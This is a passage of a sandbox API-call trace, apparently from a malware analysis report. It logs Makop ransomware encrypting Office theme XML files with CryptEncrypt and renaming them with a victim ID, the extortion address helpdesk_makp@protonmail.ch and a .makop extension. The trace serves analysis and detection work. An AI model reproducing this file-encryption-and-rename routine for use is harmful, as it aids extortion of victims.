returned 1 [0157.876] SetEndOfFile (hFile=0xf0) returned 1 [0157.883] GetProcessHeap () returned 0x48a0000 [0157.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.883] GetProcessHeap () returned 0x48a0000 [0157.883] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.883] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0157.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.886] CloseHandle (hObject=0xf0) returned 1 [0157.886] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0157.886] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml") returned 80 [0157.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.889] GetProcessHeap () returned 0x48a0000 [0157.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.889] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0157.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.893] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.893] GetProcessHeap () returned 0x48a0000 [0157.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0157.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0157.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.895] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.895] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c5, lpOverlapped=0x0) returned 1 [0157.895] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0157.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0157.896] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.896] SetEndOfFile (hFile=0xf0) returned 1 [0157.903] GetProcessHeap () returned 0x48a0000 [0157.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.904] GetProcessHeap () returned 0x48a0000 [0157.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.904] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0157.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.906] CloseHandle (hObject=0xf0) returned 1 [0157.906] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0157.906] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml") returned 76 [0157.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.907] GetProcessHeap () returned 0x48a0000 [0157.907] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.907] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.907] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0157.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.912] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.912] GetProcessHeap () returned 0x48a0000 [0157.912] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.912] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0157.912] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0157.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.913] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.913] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.913] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.913] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.913] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c1, lpOverlapped=0x0) returned 1 [0157.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0157.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0157.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.914] SetEndOfFile (hFile=0xf0) returned 1 [0157.922] GetProcessHeap () returned 0x48a0000 [0157.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.922] GetProcessHeap () returned 0x48a0000 [0157.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.922] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0157.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.924] CloseHandle (hObject=0xf0) returned 1 [0157.924] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0157.924] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml") returned 76 [0157.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.925] GetProcessHeap () returned 0x48a0000 [0157.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.925] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0157.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.930] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.930] GetProcessHeap () returned 0x48a0000 [0157.930] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.930] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0157.930] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.930] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0157.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.932] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.932] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c1, lpOverlapped=0x0) returned 1 [0157.932] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0157.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0157.933] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.933] SetEndOfFile (hFile=0xf0) returned 1 [0157.939] GetProcessHeap () returned 0x48a0000 [0157.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.939] GetProcessHeap () returned 0x48a0000 [0157.939] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.939] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0157.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.941] CloseHandle (hObject=0xf0) returned 1 [0157.941] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0157.941] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml") returned 79 [0157.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.942] GetProcessHeap () returned 0x48a0000 [0157.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.942] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0157.947] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.947] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.947] GetProcessHeap () returned 0x48a0000 [0157.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.947] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0157.947] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.948] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0157.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.948] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.948] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.949] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.949] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x39f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x39f, lpOverlapped=0x0) returned 1 [0157.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0, 